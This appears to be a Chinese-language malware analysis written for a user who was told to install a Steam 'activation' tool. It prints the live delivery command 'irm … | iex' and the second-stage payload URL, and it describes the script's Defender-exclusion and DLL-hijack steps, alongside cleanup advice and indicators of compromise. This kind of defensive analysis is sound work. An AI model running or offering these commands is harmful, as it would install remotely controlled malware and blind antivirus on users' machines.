powershell irm stma.ly870.vip| iex 会从卖家控制的服务器下载一段 PowerShell 脚本,并在你的电脑上以当前权限直接执行;方法二还要求你用管理员终端运行。hid.dll + VapourTool.dll)塞进 Steam 安装目录。其中 hid.dll 是标准的 DLL 劫持代理,VapourTool.dll 会挂钩 Steam 的授权/仓库接口,并带有远程任务下发、自动更新、SteamID/设备标识/IP 上报能力。SteamTools/VapourTool 残留、Steam 目录没有 hid.dll/VapourTool.dll、%TEMP% 无 steam_boot_* 残留、PowerShell 历史与 4104 日志均无相关记录。只要你现在没有运行它,机器目前是干净的。
红圈处就是投递命令,方法一和方法二本质相同,方法二额外要求管理员权限:
截图中的命令:powershell irm stma.ly870.vip| iex(方法二为 irm stma.ly870.vip| iex,在“终端管理员”里运行)。
| 片段 | 含义 |
|---|---|
| powershell | 启动 Windows 自带的 PowerShell 命令行。 |
| irm | Invoke-RestMethod 的缩写:从网址下载内容。 |
| stma.ly870.vip | 卖家的服务器域名(走 Cloudflare 隐藏真实源站)。 |
| | | 管道:把下载到的内容直接交给后面的命令。 |
| iex | Invoke-Expression 的缩写:把收到的文本当作代码立即执行。 |
正常软件不会用这种方式安装。它的特点是:不落盘、不弹窗、不校验签名、内容随时可换。卖家今天可以让你装“激活工具”,明天同一个网址就能下发盗号木马、勒索程序或挖矿程序,你这边没有任何提示。
我只做了下载和阅读,没有执行。该地址返回的是一段 70,011 字节的 PowerShell 脚本:
Content-Type: text/plain,Cloudflare 回源以下内容全部来自脚本原文,括号内为脚本行号:
https://cdk3.cc.cd/payload.ps1 到 %TEMP%\steam_boot_<随机>.ps1,再用 Start-Process -Verb RunAs 弹 UAC 重新运行(第 66–121 行)。netsh winhttp reset proxy(第 231 行)AutoConfigURL(第 224–230 行)223.5.5.5 和 1.1.1.1(第 232–236 行)Stop-ProcessByName -ProcessName "steam",强杀所有 Steam 进程(第 252–273、380 行)。Add-MpPreference -ExclusionPath $steamPath(第 450–462 行)。这是最危险的一步——之后 Windows Defender 不会扫描 Steam 目录里被塞进去的任何文件。version.dll、dwmapi.dll、xinput1_4.dll、hid.dll、dinput8.dll、steam_emu.ini 等一批文件,并删除 HKCU/HKLM\Software\Valve\Steamtools 注册表键(第 1195–1276 行)。说明这是一个和其他“假入库”工具互相抢地盘的商业工具。down.platform.ly870.com、文叔叔三个源下载 steam.zip,解压到 Steam 安装目录(第 465–474、1280 行)。HKCU:\Software\Valve\VapourTool\Running=0,然后执行 steam.exe -silent -forcesteamupdate(第 1393–1403 行)。我跟随脚本里的直链,把 steam.zip 下载下来做了静态分析(未解压运行)。该直链会 302 跳转到中国区 SharePoint:puppetgg-my.sharepoint.cn(租户 tk_puppetgg_partner_onmschina_cn)。
e9d5199dfb5d4ca410f083cb083317e429e348cb7a2dabc77574ed0e1eb997fdhid.dll 的全部 45 个 HID 函数(HidD_*/HidP_*),用来冒充系统 DLL,避免 Steam 启动时报错。LoadLibraryW/GetProcAddress,字符串里出现 %sVapourTool.dll、steam.exe、%s\steamclient64.dll——作用是:Steam 加载它之后,它再把 VapourTool.dll 加载进 Steam 进程。CopyFileW/MoveFileExW/SetFileAttributesW,具备自我复制/替换文件的能力。a1e57be6c882ac93f8572d4511554a36af1367921af93907390e1638e9e003b6D:\winx\OpenSteamTool\.deps\protobuf-src\...,即开源项目 OpenSteamTool 的改造版。.detourc/.detourd 节区——使用 Microsoft Detours 做 API Hook,劫持 Steam 的授权、Depot、AppID 相关接口。addappid、setManifestid、depotcache、ProcessPendingLicenseUpdates、MarkLicenseAsChanged 等,说明它直接篡改 Steam 的本地授权状态。device_token、?token=、&token=、X-EO-Token、existing_steam_id、steam_id、Software\Valve\Steam\Apps\%u——会读取并上报你的 SteamID、设备标识和 IP。VapourToolUpdater_Update_v1、VapourTool.dll.new、VapourTool.dll.new.part、VapourTool.toml——具备自我更新能力。/v1/jobs)和自动更新(VapourToolUpdater_Update_v1)。这意味着卖家的服务器以后可以随时给你换一份新的 DLL。配合脚本已经帮你把 Steam 目录加进 Defender 白名单,新文件落地后不会被杀毒软件检查。
| 检查项 | 结果 | 判定 |
|---|---|---|
| Defender 排除路径 | ExclusionPath 为空 | 未执行 |
HKCU/HKLM\Software\SteamTools | 不存在 | 未执行 |
HKCU\Software\Valve\VapourTool | 不存在 | 未执行 |
Steam 目录 hid.dll | 不存在 | 未执行 |
Steam 目录 VapourTool.dll | 不存在 | 未执行 |
Steam 目录 VapourTool.toml | 不存在 | 未执行 |
%TEMP%\steam_boot_* | 无残留 | 未执行 |
| PowerShell 历史命令 | 无 stma/ly870/cdk3/Vapour 记录 | 未执行 |
| PowerShell 4104 脚本块日志 | 近 2000 条中无匹配 | 未执行 |
| Steam 根目录文件时间 | 最近修改为 2026-10-14(Steam 自身更新),无 10-19 的新增 DLL | 未执行 |
说明:Defender 目前在你的机器上是关闭状态(AMServiceEnabled=False),所以“没有拦截记录”不能当作安全证明;上面的结论来自“安装行为留下的痕迹不存在”,证据强度更高。
hid.dll、VapourTool.dll、VapourTool.toml(如果存在)。HKCU\Software\Valve\VapourTool 和 HKCU/HKLM\Software\SteamTools。netsh winhttp reset proxy 后重启。| 类型 | 值 |
|---|---|
| 投递域名 | stma.ly870.vip |
| 二阶段脚本 | https://cdk3.cc.cd/payload.ps1 |
| DLL 直链 | https://down.platform.ly870.com/directlink/tk/steam/steam.zip |
| DLL 直链跳转 | puppetgg-my.sharepoint.cn(租户 tk_puppetgg_partner_onmschina_cn) |
| 备用下载 | https://wwbuo.lanzoup.com/winx123 https://c.wss.ink/f/l54yblzirdx https://share.feijipan.com/s/ObcqqI9T(方法三) |
| 授权/清单服务器 | manifest.drm.ly870.vip manifest.opensteamtool.com manifest.steam.run manifest.manifestdex.com gmrc.wudrm.com |
| 统计/任务/更新 | stats.opensteamtool.com cdn.69idc.net/v1/jobs steam-monitor.520301.xyz cdn.jsdelivr.net/gh/mmxlyo/steam-monitor |
| 文件 | 大小 | SHA-256 |
|---|---|---|
| stage1 脚本 | 70,011 B | 179131bc40949597581cef2dbbc6fa13cf3481fe23e7f5ca300bde6eee234a8 |
| steam.zip | 12,027,179 B | fa56628617aed4cea72c9bf760a3439d7e60c01124007a3b7317782d48740d83 |
| hid.dll | 163,840 B | e9d5199dfb5d4ca410f083cb083317e429e348cb7a2dabc77574ed0e1eb997fd |
| VapourTool.dll | 16,026,112 B | a1e57be6c882ac93f8572d4511554a36af1367921af93907390e1638e9e003b6 |
你可以把上面的哈希粘贴到 VirusTotal 搜索框,查看多引擎检测结果:https://www.virustotal.com/gui/search/<哈希>。由于这些文件是 2026-10-17 新编译的,可能暂时没有厂商收录。
| 域名 | IP | 说明 |
|---|---|---|
| stma.ly870.vip | 104.21.3.170 / 172.67.130.247 | Cloudflare 共享 IP,不能单独作为封禁依据 |
| cdk3.cc.cd | 104.21.23.76 / 172.67.209.202 | Cloudflare 共享 IP |
| down.platform.ly870.com | 43.248.141.175 | CNAME → a1100462.zh2cdn.ddosjq.xyz(nginx 源站) |